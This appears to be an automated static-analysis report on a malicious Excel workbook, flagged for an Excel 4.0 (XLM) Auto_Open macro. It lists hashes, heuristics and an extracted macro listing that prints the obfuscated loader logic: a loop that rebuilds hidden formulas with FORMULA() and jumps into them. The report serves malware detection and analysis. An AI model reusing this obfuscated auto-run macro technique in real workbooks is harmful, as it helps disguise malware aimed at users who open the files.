Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8bdb5b389f6808c1…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:53 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: ec3f70699a2522c935704ad8969110a1 SHA-1: 72a16ebe08d3da5bbdc043063d9bcf5b378dc162 SHA-256: 8bdb5b389f6808c1e40a7d8ef9081d434c0a1ca0b75dee6e521df27bc77564be
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6623 bytes
SHA-256: 25c22f10ce764c31e7364ecc6d6282ffdde5cd85b453c6a91a7edf62565da380
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mzxCWAtQSH
' 0018     23 LABEL : Cell Value, String Constant - AHADMSyo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C137 
' 0018     22 LABEL : Cell Value, String Constant - diMXoMf len=0 
' 0018     20 LABEL : Cell Value, String Constant - EQxMq len=0 
' 0018     21 LABEL : Cell Value, String Constant - ErhxOV len=0 
' 0018     20 LABEL : Cell Value, String Constant - HoOXk len=0 
' 0018     20 LABEL : Cell Value, String Constant - Lpyyh len=0 
' 0018     25 LABEL : Cell Value, String Constant - MdgbCnbDoM len=0 
' 0018     20 LABEL : Cell Value, String Constant - PrfhK len=0 
' 0018     26 LABEL : Cell Value, String Constant - RiksAASuGFm len=0 
' 0018     26 LABEL : Cell Value, String Constant - RsOPlkfWBYT len=0 
' 0018     22 LABEL : Cell Value, String Constant - SASqBLL len=0 
' 0018     25 LABEL : Cell Value, String Constant - SvpbIzoOuu len=0 
' 0018     25 LABEL : Cell Value, String Constant - vmyXJiTpEE len=0 
' 0018     26 LABEL : Cell Value, String Constant - VYNBxhEZMLz len=0 
' 0018     22 LABEL : Cell Value, String Constant - wMZMsFI len=0 
' 0018     23 LABEL : Cell Value, String Constant - wZbBOHtY len=0 
' 0018     23 LABEL : Cell Value, String Constant - XKCSBIKz len=0 
' 0018     26 LABEL : Cell Value, String Constant - XUBGVyqgFYU len=0 
' 0018     21 LABEL : Cell Value, String Constant - YZGFJf len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZSgLsvbz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mzxCWAtQSH,C46,"SET.NAME("XKCSBIKz",VALUE("0"))",""
'  mzxCWAtQSH,C49,"SET.NAME("SASqBLL",XKCSBIKz)",""
'  mzxCWAtQSH,C54,"SET.NAME("XUBGVyqgFYU",XKCSBIKz)",""
'  mzxCWAtQSH,C58,"SET.NAME("PrfhK",COUNTA(AHADMSyo))",""
'  mzxCWAtQSH,C61,"SET.NAME("RiksAASuGFm",COUNTA(HoOXk))",""
'  mzxCWAtQSH,C63,[],""
'  mzxCWAtQSH,C65,"SET.NAME("Lpyyh","")",""
'  mzxCWAtQSH,C69,"SASqBLL",""
'  mzxCWAtQSH,C73,"SET.NAME("VYNBxhEZMLz",HLOOKUP("*",AHADMSyo,SASqBLL,FALSE))",""
'  mzxCWAtQSH,C78,"SvpbIzoOuu",""
'  mzxCWAtQSH,C82,"SET.NAME("diMXoMf",XKCSBIKz)",""
'  mzxCWAtQSH,C84,[],""
'  mzxCWAtQSH,C87,"diMXoMf",""
'  mzxCWAtQSH,C89,"vmyXJiTpEE",""
'  mzxCWAtQSH,C94,"EQxMq",""
'  mzxCWAtQSH,C97,"RsOPlkfWBYT",""
'  mzxCWAtQSH,C100,"SET.NAME("YZGFJf",VALUE(HLOOKUP("*",HoOXk,RsOPlkfWBYT,FALSE)))",""
'  mzxCWAtQSH,C105,"ErhxOV",""
'  mzxCWAtQSH,C107,"Lpyyh",""
'  mzxCWAtQSH,C109,"XUBGVyqgFYU",""
'  mzxCWAtQSH,C114,NEXT(),""
'  mzxCWAtQSH,C119,"MdgbCnbDoM",""
'  mzxCWAtQSH,C124,"SET.NAME("f",INT(T(FORMULA(T(Lpyyh)&"",""&T(MdgbCnbDoM)))))",""
'  mzxCWAtQSH,C126,"wZbBOHtY",""
'  mzxCWAtQSH,C129,NEXT(),""
'  mzxCWAtQSH,C132,RETURN(),""
'  mzxCWAtQSH,C168,"SET.NAME("wMZMsFI",C46)",""
'  mzxCWAtQSH,C171,"AHADMSyo",""
'  mzxCWAtQSH,C176,"SET.NAME("HoOXk",R73C13)",""
'  mzxCWAtQSH,C178,"SET.NAME("wZbBOHtY",184)",""
'  mzxCWAtQSH,C181,"SET.NAME("ZSgLsvbz",3)",""
'  mzxCWAtQSH,C183,wMZMsFI(),""
'  mzxCWAtQSH,C184,HALT(),""